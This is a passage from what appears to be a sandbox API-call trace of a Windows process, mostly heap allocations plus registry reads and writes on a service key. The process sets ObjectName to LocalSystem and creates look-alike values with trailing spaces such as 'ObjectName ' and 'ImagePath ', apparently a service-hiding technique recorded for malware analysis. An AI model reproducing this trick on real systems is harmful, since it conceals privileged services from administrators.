0x21f42b0 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0225.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0225.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0225.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0225.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.093] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0225.093] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1928, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0225.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0225.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0225.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0225.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0225.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0225.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0225.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0225.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0225.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.093] RegQueryValueExA (in: hKey=0xc4, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0225.093] RegQueryValueExA (in: hKey=0xc4, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1928, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0225.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0225.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0225.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0225.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0225.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0225.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0225.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0225.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0225.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0225.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0225.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0225.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0225.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0225.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0225.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0225.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0225.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0225.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0225.095] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0225.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0225.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0225.095] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0225.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0225.095] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0225.096] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0225.096] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0225.096] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0225.096] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0225.096] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0225.096] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0225.096] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0225.096] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0225.096] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0225.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0225.097] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0225.097] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0225.097] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.097] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0225.097] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0225.097] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.098] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x10) returned 0x0 [0225.099] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1928, lpcbData=0x36f45c*=0x10 | out: lpType=0x36f454*=0x7, lpData=0x21f1928*, lpcbData=0x36f45c*=0x10) returned 0x0 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0225.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0225.099] RtlFreeHeap (HeapHandle=0x2520000, 